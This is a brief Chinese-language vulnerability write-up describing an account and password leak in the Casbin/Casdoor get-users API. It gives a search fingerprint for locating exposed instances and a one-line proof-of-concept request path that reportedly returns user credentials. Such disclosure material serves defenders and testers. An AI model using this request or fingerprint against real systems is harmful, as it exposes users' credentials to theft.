Casbin get-users 账号密码泄漏漏洞¶

漏洞描述¶

Casbin get-users api接口存在账号密码泄漏漏洞，攻击者通过漏洞可以获取用户敏感信息

漏洞影响¶

Casbin

网络测绘¶

title="Casdoor"

漏洞复现¶

登录页面

验证POC

/api/get-users?p=123&pageSize=123